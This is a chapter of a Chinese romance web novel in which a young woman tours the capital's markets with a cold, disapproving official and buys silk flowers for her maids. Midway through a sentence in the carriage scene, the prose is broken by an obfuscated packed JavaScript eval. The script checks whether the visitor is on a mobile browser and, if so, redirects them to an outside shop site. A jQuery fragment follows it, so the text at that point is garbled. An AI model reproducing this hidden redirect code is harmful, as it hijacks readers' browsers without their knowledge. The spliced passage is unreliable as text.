柳莺儿也摸不着头脑,茫然摇头。林慕凝抓住跟出来的春桃问:“你家大公子吃错药了吗?”
春桃没瞧见刚才那一幕,说:“大公子身子一向康健得很,极少生病。姑娘为何这样问?”
“算了,我不用你跟着,昨晚上睡觉前我画了一张规划图,在里屋放着呢。你将后院按照我的图分出几块区域来。”
林慕凝嘱咐春桃,“别自己一人干,把那几个小丫头都叫上。动作麻利些,我回来还要查验呢。”
说完,拉上柳莺儿就走,留下春桃风中凌乱。
“姑娘,我不是干农活的粗使丫头啊。”
主仆二人刚走到前院,便见沈氏正站在垂花门下与褚序宸说话,看模样也是要出门。
林慕凝忙上前行礼:“老夫人这是要去哪儿?”
沈氏笑盈盈道:“前几日接了帖子,约了几位夫人去郊外赏花。我以为你还睡着,就没叫你。你若想去,跟我一道也成。”
林慕凝连连摆手:“不了不了,我正想去街上逛逛呢。老夫人的场合我就不凑热闹了,改日再陪您。”
沈氏看了眼站在一旁的褚序宸,心思一转,说道:“让序宸带你去逛吧,他今日休沐,正无所事事呢。你在这人生地不熟的,别再走丢了。”
褚序宸脸色微微一僵。
“母亲,我要去国子监,那里的老师问了我好几次,让我得空的时候去指点指点。”
“行啦。”沈氏嗔他一眼,“显着你了?你不也是那些先生教出来的?书墨忙着备考,抽不出空,你这个做兄长的闲着,怎么就不能照应一二?”
不等褚序宸再开口,沈氏已朝周嬷嬷使了个眼色。周嬷嬷心领神会,从包袱里取出一锭银子,递给林慕凝。
沈氏拍拍她的手:“这些你先花着,不够就跟你兄长要。他的俸禄每月没全交上来,手头宽裕着呢。”
褚序宸张了张嘴,想说什么,沈氏已摆摆手,带着周嬷嬷出门去了。
林慕凝掂了掂手里的银子,抬眸看向褚序宸,弯起嘴角:“那就有劳兄长了。”
褚序宸沉着脸:“你独自在路上耽搁了三个月,也没见丢了。京城安全多了,你能丢到哪儿去?”
林慕凝心里恍然,原来方才在院门口,是因为没叫“兄长”才不理人的。
她也不恼,换上一副明媚笑脸:“兄长说得是。我本也没想麻烦兄长,只是老夫人发话,我不敢不听呀。”
那笑容太过灿烂,在晨光里熠熠生辉。褚序宸愣了一瞬,脑海里只浮出两个字:
谄媚。
*
马车很宽敞,林慕凝和褚序宸坐下后,两人之间还隔着几尺远。
褚序宸自从上了马车就闭目养神,摆明了不想看她,也不想说话。
马车穿过几条街巷,外面的喧哗声渐渐大了起来。
林慕凝掀着车帘,半个身子都快探出去了。柳莺儿在一旁急得直扯她衣角,小声提醒:“姑娘,注意仪态。”
“怕什么?”林慕凝头也不回,“又不是没见过人。”
褚序宸闭着眼,眼睫却微微动了动。
他虽不想看她,可那叽叽喳喳的声音却一刻不停地往耳朵里钻。
“莺儿你快看,那边好多人!像是有集会呢。”
“那个摊子上卖的是什么?花花绿绿的真好看!”
“哎呀,还有耍猴的嘿。”
柳莺儿死死拽着她,欲哭无泪:“姑娘,您别往外探了,当心摔着。”
林慕凝这才缩回来一点,可眼睛还是黏在外头。
马车拐进一条更宽的街,人群越发密集了。林慕凝一眼扫过去,忽然看见个眼熟的人,是前日在顺天府门口帮他指路的那位小官,正站在路边跟人说话。
她立刻探出身子,挥着手喊:“刘大人!刘大人!”
那位刘大人闻声回头,看见马车窗口那张笑盈盈的脸,愣了一愣,随即拱手笑道:“是公子啊!哦不对,如今该叫姑娘了。”
林慕凝哈哈一笑:“叫什么都可以!刘大人这是去哪儿?”
“去衙门口,今儿个轮值。”刘大人也笑,“姑娘可寻到你表哥褚大人家了?”
话音刚落,一阵风掀开车帘,露出里头端坐的褚序宸。
刘大人脸色一变,连忙躬身行礼:“不知褚大人在此,下官失礼了。”
褚序宸扬了下手,示意知道了。他不想多说话,此情此景容易让人误会,只想赶紧离去。
林慕凝回头看了一眼褚序宸,那人脸色更难看了。凝着眉,像是旁人欠了他八百两银子似的。
她腹诽:白白生了张俊俏的脸,性子却这般不讨喜。想来也没什么朋友。
正想着,那人的目光倏地扫过来,锐利如刀。
林慕凝撇撇嘴,若无其事地转回头,继续看她的热闹。
*
马车又走了一段,她眼尖,又看见个熟人。
这回是个卖糖人的老头,昨儿个她在街上买过他的糖人,老头手艺好,人也和气,两人聊了好一会儿。
“张伯!张伯!”她又探出身子挥手。
那老头抬头一看,也笑了:“是姑娘你啊!今儿个还来买糖人不?”
“今儿个不买,我有事呢!改日再来照顾您生意!”
“好嘞,姑娘慢走!”
马车在人群里缓慢前行,走走停停。
林慕凝就没消停过。
一会儿看见个卖风筝的,是她老家那边的扎法,她隔着车窗跟人家讨论了半天扎风筝的诀窍。
一会儿看见个耍把式的,她拍着车厢叫好,恨不得下去捧个钱场。
一会儿又遇见昨儿个在茶馆认识的一个大姐,两人隔着人群喊话,约好了改日一起喝茶。
柳莺儿从一开始的紧张,到后来的麻木,偶尔偷看褚序宸的脸色,见他一直面无表情,只当他本就如此。便也能面不改色地听着自家姑娘跟各路人士寒暄了。
褚序宸心里憋着火,不好发作。
在他眼里,此女子太过轻浮。
她将来是要嫁到褚家的,书墨考了功名,得了官身,她就是官夫人。那些卖糖人的、耍把式的、卖风筝的,是什么身份?也值得她这般热情?
她倒是谁都认识,谁都能聊。
可这般长袖善舞、八面玲珑的做派,不正说明她心思活泛、不够安分么?
这样的女子怎么会把母亲哄得团团转。母亲还同他说:“这女子比你想象的要好。”
好在哪?好在跟谁都能打成一片?好在没规没矩、毫无大家闺秀的矜持?
他冷眼看着她那张笑脸,心里下了定论:除了几分长相,一无是处。
他忍无可忍,沉声道:“停车!”
车夫猛地勒住缰绳,马车骤停。
林慕凝正扒着车窗往外看,猝不及防失了重心,“咣”的一声,脑袋直直朝窗棱撞去。
她反应极快,猛地往后一缩。
可这一缩,忘了身后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309718|198773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还坐着个人。半边身子直直朝褚序宸倒了过去。
褚序宸下意识抬手,指尖刚触到她的衣料,便像被烫着似的,猛地将她推开。
力道不小。林慕凝一个踉跄,歪倒在车厢里。
“哎哟。”
林慕凝半歪在车厢里,手肘撑着车板,愣了一瞬。
她抬头看向褚序宸。
那人正襟危坐,面色如常,仿佛刚才只是拂开了一只扑到身上的飞虫。甚至连眼神都没多给她一个。
林慕凝心里那股火,“噌”地一下就窜了上来。
好哇,把我推倒了,连句道歉都没有?连扶都不扶一把?她咬着后槽牙,默默在心里把这位褚大公子从头到脚骂了个遍。
冷面瘫,没风度。难怪一把年纪还娶不上媳妇,活该!
不对,他本来是有媳妇的,是他自己不要,塞给别人了。
想到这里,林慕凝更气了。
嫌我?我还嫌你呢!
这一套动作极快,柳莺儿都不知道林慕凝是怎么摔倒的,急得去扶起她,四处查看她有没有伤着。
柳莺儿担心地问:“可是哪里疼吗?”
林慕凝摔着的地方倒是不疼,只觉得被褚序宸推过的地方火辣辣的。
她说了句“无事”,便把脸转向车外。
外头跟着褚序宸出来的小厮来喜问:“公子,是要在这里下车吗?”
林慕凝不等褚序宸开口,跟柳莺儿说了一个字:“走。”
掀开帘子就跳了下去。脚一沾地,那股憋闷的气总算散了些。她深吸一口气,抬头望去,好家伙!
眼前是一条长长的街,两边摆满了各色摊子,一眼望不到头。卖吃的、卖玩的、卖布的、卖脂粉的,应有尽有。人群熙熙攘攘,吆喝声、讨价还价声、笑闹声混成一片,热闹得不像话。
林慕凝的眼睛一下子就亮了。
“莺儿,快来!”她回头喊了一声,抬脚就往人群里钻。
褚序宸从马车上下来,看着那道欢快的背影,眉头皱了皱。想起母亲的吩咐,只好抬脚跟了上去。
林慕凝这人气性来的快,也去得快,眼下有更吸引她的,刚才的那点事早就抛之脑后了。
她蹲在一个卖绢花的摊子前,手里拿着一朵粉色的绒花,爱不释手。
“姑娘好眼光,这是新来的样式,京城独一份!”摊主是个四十来岁的妇人,嘴皮子利索得很。
“多少钱?”
“十五文。”
林慕凝想了想,从荷包里数出十五文递过去,把绒花往鬓角比了比,回头问柳莺儿:“好看吗?”
柳莺儿用力点头:“好看!姑娘戴什么都好看。”
林慕凝美滋滋地让摊主帮她簪上,又蹲下来继续挑。
“这个蓝色的也好看,这个鹅黄的也不错,哎呀,这个红色的也想要。”
摊主笑得合不拢嘴。
最后林慕凝买了六朵。自己一朵,柳莺儿一朵,给春桃带一朵,剩下那三个分给另外三个丫头。
又想到了沈氏,要不要给她也带一朵回去?可转念一想,她怕是会觉得这东西不够贵重。
算了,改日选些好的再给她买。
她将那朵鹅黄的递给柳莺儿:“这是你的。”
柳莺儿受宠若惊:“我也有?”
“当然有。”林慕凝把绢花往她手里一塞,“跟着我混,有肉吃,有花戴。”
柳莺儿捧着那朵花,眼眶都有点红了。